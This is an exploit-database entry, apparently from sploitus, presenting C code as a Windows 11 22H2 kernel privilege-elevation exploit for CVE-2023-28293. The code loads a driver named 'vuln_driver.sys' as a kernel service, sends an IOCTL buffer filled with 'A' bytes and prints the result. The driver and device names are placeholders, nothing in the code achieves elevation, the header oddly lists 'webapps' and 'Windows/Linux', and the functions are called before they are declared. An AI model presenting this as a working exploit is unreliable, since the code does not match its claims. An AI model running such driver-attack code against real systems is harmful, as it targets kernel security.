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## https://sploitus.com/exploit?id=1337DAY-ID-38816
// Exploit Title: Windows 11 22h2 - Kernel Privilege Elevation
// country: Iran
// Exploit Author: Amirhossein Bahramizadeh
// Category : webapps
// Vendor Homepage:
// Tested on: Windows/Linux
// CVE : CVE-2023-28293
#include <windows.h>
#include <stdio.h>
// The vulnerable driver file name
const char *driver_name = "vuln_driver.sys";
// The vulnerable driver device name
const char *device_name = "\\\\.\\VulnDriver";
// The IOCTL code to trigger the vulnerability
#define IOCTL_VULN_CODE 0x222003
// The buffer size for the IOCTL input/output data
#define IOCTL_BUFFER_SIZE 0x1000
int main()
{
HANDLE device;
DWORD bytes_returned;
char input_buffer[IOCTL_BUFFER_SIZE];
char output_buffer[IOCTL_BUFFER_SIZE];
// Load the vulnerable driver
if (!LoadDriver(driver_name, "\\Driver\\VulnDriver"))
{
printf("Error loading vulnerable driver: %d\n", GetLastError());
return 1;
}
// Open the vulnerable driver device
device = CreateFile(device_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (device == INVALID_HANDLE_VALUE)
{
printf("Error opening vulnerable driver device: %d\n", GetLastError());
return 1;
}
// Fill the input buffer with data to trigger the vulnerability
memset(input_buffer, 'A', IOCTL_BUFFER_SIZE);
// Send the IOCTL to trigger the vulnerability
if (!DeviceIoControl(device, IOCTL_VULN_CODE, input_buffer, IOCTL_BUFFER_SIZE, output_buffer, IOCTL_BUFFER_SIZE, &bytes_returned, NULL))
{
printf("Error sending IOCTL: %d\n", GetLastError());
return 1;
}
// Print the output buffer contents
printf("Output buffer:\n%s\n", output_buffer);
// Unload the vulnerable driver
if (!UnloadDriver("\\Driver\\VulnDriver"))
{
printf("Error unloading vulnerable driver: %d\n", GetLastError());
return 1;
}
// Close the vulnerable driver device
CloseHandle(device);
return 0;
}
BOOL LoadDriver(LPCTSTR driver_name, LPCTSTR service_name)
{
SC_HANDLE sc_manager, service;
DWORD error;
// Open the Service Control Manager
sc_manager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (sc_manager == NULL)
{
return FALSE;
}
// Create the service
service = CreateService(sc_manager, service_name, service_name, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, driver_name, NULL, NULL, NULL, NULL, NULL);
if (service == NULL)
{
error = GetLastError();
if (error == ERROR_SERVICE_EXISTS)
{
// The service already exists, so open it instead
service = OpenService(sc_manager, service_name, SERVICE_ALL_ACCESS);
if (service == NULL)
{
CloseServiceHandle(sc_manager);
return FALSE;
}
}
else
{
CloseServiceHandle(sc_manager);
return FALSE;
}
}
// Start the service
if (!StartService(service, 0, NULL))
{
error = GetLastError();
if (error != ERROR_SERVICE_ALREADY_RUNNING)
{
CloseServiceHandle(service);
CloseServiceHandle(sc_manager);
return FALSE;
}
}
CloseServiceHandle(service);
CloseServiceHandle(sc_manager);
return TRUE;
}
BOOL UnloadDriver(LPCTSTR service_name)
{
SC_HANDLE sc_manager, service;
SERVICE_STATUS status;
DWORD error;
// Open the Service Control Manager
sc_manager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (sc_manager == NULL)
{
return FALSE;
}
// Open the service
service = OpenService(sc_manager, service_name, SERVICE_ALL_ACCESS);
if (service == NULL)
{
CloseServiceHandle(sc_manager);
return FALSE;
}
// Stop the service
if (!ControlService(service, SERVICE_CONTROL_STOP, &status))
{
error = GetLastError();
if (error != ERROR_SERVICE_NOT_ACTIVE)
{
CloseServiceHandle(service);
CloseServiceHandle(sc_manager);
return FALSE;
}
}
// Delete the service
if (!DeleteService(service))
{
CloseServiceHandle(service);
CloseServiceHandle(sc_manager);
return FALSE;
}
CloseServiceHandle(service);
CloseServiceHandle(sc_manager);
return TRUE;
}